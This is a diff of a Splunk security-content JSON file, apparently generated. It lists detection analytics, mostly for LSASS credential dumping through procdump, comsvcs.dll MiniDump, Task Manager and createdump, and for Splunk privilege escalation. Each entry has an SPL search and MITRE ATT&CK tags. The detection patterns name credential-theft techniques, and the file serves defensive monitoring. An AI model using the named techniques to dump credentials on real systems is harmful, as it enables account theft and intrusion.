"DE.CM" - ], - "observable": [ - { - "name": "TargetImage", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process has created a remote thread into $TargetImage$ on $dest$. This behavior is indicative of credential dumping and should be investigated.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Creation of lsass Dump with Taskmgr", - "description": "The following analytic detects the creation of an lsass.exe process dump using Windows Task Manager. It leverages Sysmon EventID 11 to identify file creation events where the target filename matches *lsass*.dmp. This activity is significant because creating an lsass dump can be a precursor to credential theft, as the dump file contains sensitive information such as user passwords. If confirmed malicious, an attacker could use the lsass dump to extract credentials and escalate privileges, potentially compromising the entire network.", - "search": "`sysmon` EventID=11 process_name=taskmgr.exe TargetFilename=*lsass*.dmp | stats count min(_time) as firstTime max(_time) as lastTime by dest, object_category, process_name, TargetFilename | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `creation_of_lsass_dump_with_taskmgr_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$process_name$ was identified on endpoint $dest$ writing $TargetFilename$ to disk. This behavior is related to dumping credentials via Task Manager.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Detect Credential Dumping through LSASS access", - "description": "The following analytic detects attempts to read LSASS memory, indicative of credential dumping. It leverages Sysmon EventCode 10, filtering for specific access permissions (0x1010 and 0x1410) on the lsass.exe process. This activity is significant because it suggests an attacker is trying to extract credentials from LSASS memory, potentially leading to unauthorized access, data breaches, and compromise of sensitive information. If confirmed malicious, this could enable attackers to escalate privileges, move laterally within the network, or exfiltrate data. Extensive triage is necessary to differentiate between malicious and benign activities.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe (GrantedAccess=0x1010 OR GrantedAccess=0x1410) | stats count min(_time) as firstTime max(_time) as lastTime by dest, SourceImage, SourceProcessId, TargetImage, TargetProcessId, EventCode, GrantedAccess | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_credential_dumping_through_lsass_access_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping", - "Detect Zerologon Attack" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "The $SourceImage$ has attempted access to read $TargetImage$ was identified on endpoint $dest$, this is indicative of credential dumping and should be investigated.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Dump LSASS via comsvcs DLL", - "description": "The following analytic detects the behavior of dumping credentials from memory by exploiting the Local Security Authority Subsystem Service (LSASS) using the comsvcs.dll and MiniDump via rundll32. This detection leverages process information from Endpoint Detection and Response (EDR) logs, focusing on specific command-line executions. This activity is significant because it indicates potential credential theft, which can lead to broader system compromise, persistence, lateral movement, and privilege escalation. If confirmed malicious, attackers could gain unauthorized access to sensitive information, leading to data theft, ransomware attacks, or other damaging outcomes.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*comsvcs.dll* Processes.process=*MiniDump* by Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dump_lsass_via_comsvcs_dll_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-264A", - "Credential Dumping", - "Data Destruction", - "Flax Typhoon", - "HAFNIUM Group", - "Industroyer2", - "Living Off The Land", - "Prestige Ransomware", - "Suspicious Rundll32 Activity", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified accessing credentials using comsvcs.dll on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Dump LSASS via procdump", - "description": "The following analytic detects the use of procdump.exe to dump the LSASS process, specifically looking for the -mm and -ma command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and parent processes. This activity is significant because dumping LSASS can expose sensitive credentials, posing a severe security risk. If confirmed malicious, an attacker could obtain credentials, escalate privileges, and move laterally within the network, leading to potential data breaches and further compromise of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_procdump` (Processes.process=*-ma* OR Processes.process=*-mm*) Processes.process=*lsass* by Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dump_lsass_via_procdump_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Credential Dumping", - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to dump lsass.exe on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Credential Dumping LSASS Memory Createdump", - "description": "The following analytic detects the use of CreateDump.exe to perform a process dump. This binary is not native to Windows and is often introduced by third-party applications, including PowerShell 7. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, GUIDs, and complete command-line executions. This activity is significant as it may indicate an attempt to dump LSASS memory, which can be used to extract credentials. If confirmed malicious, this could lead to unauthorized access and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=createdump.exe OR Processes.original_file_name=\"FX_VER_INTERNALNAME_STR\" Processes.process=\"*-u *\" AND Processes.process=\"*-f *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credential_dumping_lsass_memory_createdump_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to dump a process.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Hunting System Account Targeting Lsass", - "description": "The following analytic identifies processes attempting to access Lsass.exe, which may indicate credential dumping or applications needing credential access. It leverages Sysmon EventCode 10 to detect such activities by analyzing fields like TargetImage, GrantedAccess, and SourceImage. This behavior is significant as unauthorized access to Lsass.exe can lead to credential theft, posing a severe security risk. If confirmed malicious, attackers could gain access to sensitive credentials, potentially leading to privilege escalation and further compromise of the environment.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, TargetImage, GrantedAccess, SourceImage, SourceProcessId, SourceUser, TargetUser | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_hunting_system_account_targeting_lsass_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A process, $SourceImage$, has requested access to LSASS on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Non-System Account Targeting Lsass", - "description": "The following analytic identifies non-SYSTEM accounts requesting access to lsass.exe. This detection leverages Sysmon EventCode 10 logs to monitor access attempts to the Local Security Authority Subsystem Service (lsass.exe) by non-SYSTEM users. This activity is significant as it may indicate credential dumping attempts or unauthorized access to sensitive credentials. If confirmed malicious, an attacker could potentially extract credentials from memory, leading to privilege escalation or lateral movement within the network. Immediate investigation is required to determine the legitimacy of the access request and to mitigate any potential threats.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe NOT (SourceUser=\"NT AUTHORITY\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by dest, parent_process_name, parent_process_path ,parent_process_id, TargetImage, GrantedAccess, SourceUser, TargetUser | rename TargetUser as user | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_non_system_account_targeting_lsass_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_path", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "A process, $parent_process_path$, has loaded $TargetImage$ that are typically related to credential dumping on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Possible Credential Dumping", - "description": "The following analytic detects potential credential dumping by identifying specific GrantedAccess permission requests and CallTrace DLLs targeting the LSASS process. It leverages Sysmon EventCode 10 logs, focusing on access requests to lsass.exe and call traces involving debug and native API DLLs like dbgcore.dll, dbghelp.dll, and ntdll.dll. This activity is significant as credential dumping can lead to unauthorized access to sensitive credentials. If confirmed malicious, attackers could gain elevated privileges and persist within the environment, posing a severe security risk.", - "search": "`sysmon` EventCode=10 TargetImage=*\\\\lsass.exe granted_access IN (\"0x01000\", \"0x1010\", \"0x1038\", \"0x40\", \"0x1400\", \"0x1fffff\", \"0x1410\", \"0x143a\", \"0x1438\", \"0x1000\") CallTrace IN (\"*dbgcore.dll*\", \"*dbghelp.dll*\", \"*ntdll.dll*\", \"*kernelbase.dll*\", \"*kernel32.dll*\") NOT SourceUser IN (\"NT AUTHORITY\\\\SYSTEM\", \"NT AUTHORITY\\\\NETWORK SERVICE\") | stats count min(_time) as firstTime max(_time) as lastTime by dest, SourceImage, GrantedAccess, TargetImage, SourceProcessId, SourceUser, TargetUser | rename SourceUser as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_possible_credential_dumping_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-264A", - "CISA AA23-347A", - "Credential Dumping", - "DarkSide Ransomware", - "Detect Zerologon Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A process, $SourceImage$, has loaded $TargetImage$ that are typically related to credential dumping on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } } ], "external_reference": [ @@ -368909,169 +262095,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "Attacker Tools On Endpoint", - "description": "The following analytic detects the execution of tools commonly exploited by cybercriminals, such as those used for unauthorized access, network scanning, or data exfiltration. It leverages process activity data from Endpoint Detection and Response (EDR) agents, focusing on known attacker tool names. This activity is significant because it serves as an early warning system for potential security incidents, enabling prompt response. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further network compromise, posing a severe threat to the organization's security infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown by Processes.dest Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup attacker_tools attacker_tool_names AS process_name OUTPUT description | search description !=false| `attacker_tools_on_endpoint_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Monitor for Unauthorized Software", - "SamSam Ransomware", - "Unusual Processes", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An attacker tool $process_name$,listed in attacker_tools.csv is executed on host $dest$ by User $user$. This process $process_name$ is known to do- $description$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.005", - "mitre_attack_technique": "Match Legitimate Name or Location", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT32", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Blue Mockingbird", - "Carbanak", - "Chimera", - "Darkhotel", - "Earth Lusca", - "FIN13", - "FIN7", - "Ferocious Kitten", - "Fox Kitten", - "Gamaredon Group", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Poseidon Group", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "Sowbug", - "TA2541", - "TeamTNT", - "ToddyCat", - "Transparent Tribe", - "Tropic Trooper", - "Volt Typhoon", - "WIRTE", - "Whitefly", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1595", - "mitre_attack_technique": "Active Scanning", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -370134,3811 +263157,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Splunk Edit User Privilege Escalation", - "description": "The following analytic identifies attempts by low-privilege users to escalate their privileges to admin by exploiting the edit_user capability. It detects this activity by analyzing audit trail logs for specific actions such as \"change_own_password\" and \"edit_password\" where the info field is \"granted\" and the user is not an admin or system user. This activity is significant because it indicates potential privilege escalation, which is a critical security concern. If confirmed malicious, this could allow an attacker to gain administrative access, leading to full control over the Splunk environment and potential data breaches.", - "search": "`audittrail` action IN (\"change_own_password\",\"password_change\",\"edit_password\") AND info=\"granted\" AND NOT user IN (admin, splunk-system-user) | stats earliest(_time) as event_time values(index) as index values(sourcetype) as sourcetype values(action) as action values(info) as info by user | `splunk_edit_user_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible attempt to abuse edit_user function by $user$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Splunk Enterprise KV Store Incorrect Authorization", - "description": "The following analytic detects unauthorized attempts to reload Splunk KV Store collections via the REST API. It leverages internal index logs to identify POST requests to the `/servicesNS/nobody/search/admin/collections-conf/_reload` endpoint, focusing on status codes starting with '2'. This activity is significant as it may indicate improper permission handling, potentially leading to unauthorized deletion of KV Store collections. If confirmed malicious, this could result in data loss or unauthorized data manipulation, impacting the integrity and availability of critical Splunk data.", - "search": "`splunkda` uri=/servicesNS/nobody/search/admin/collections-conf/_reload status=2* method=\"POST\" user=* file=_reload | stats count min(_time) as firstTime max(_time) as lastTime values(status) as status by host clientip file method | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_enterprise_kv_store_incorrect_authorization_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Splunk Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible attempt to access KV Store collections at $host$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Splunk risky Command Abuse disclosed february 2023", - "description": "The following analytic identifies the execution of high-risk commands associated with various Splunk vulnerability disclosures. It leverages the Splunk_Audit.Search_Activity datamodel to detect ad-hoc searches by non-system users that match known risky commands. This activity is significant for a SOC as it may indicate attempts to exploit known vulnerabilities within Splunk, potentially leading to unauthorized access or data exfiltration. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or persist within the environment, posing a severe threat to the organization's security posture.", - "search": "| tstats fillnull_value=\"N/A\" count min(_time) as firstTime max(_time) as lastTime from datamodel=Splunk_Audit.Search_Activity where Search_Activity.search_type=adhoc Search_Activity.user!=splunk-system-user by Search_Activity.search Search_Activity.info Search_Activity.total_run_time Search_Activity.user 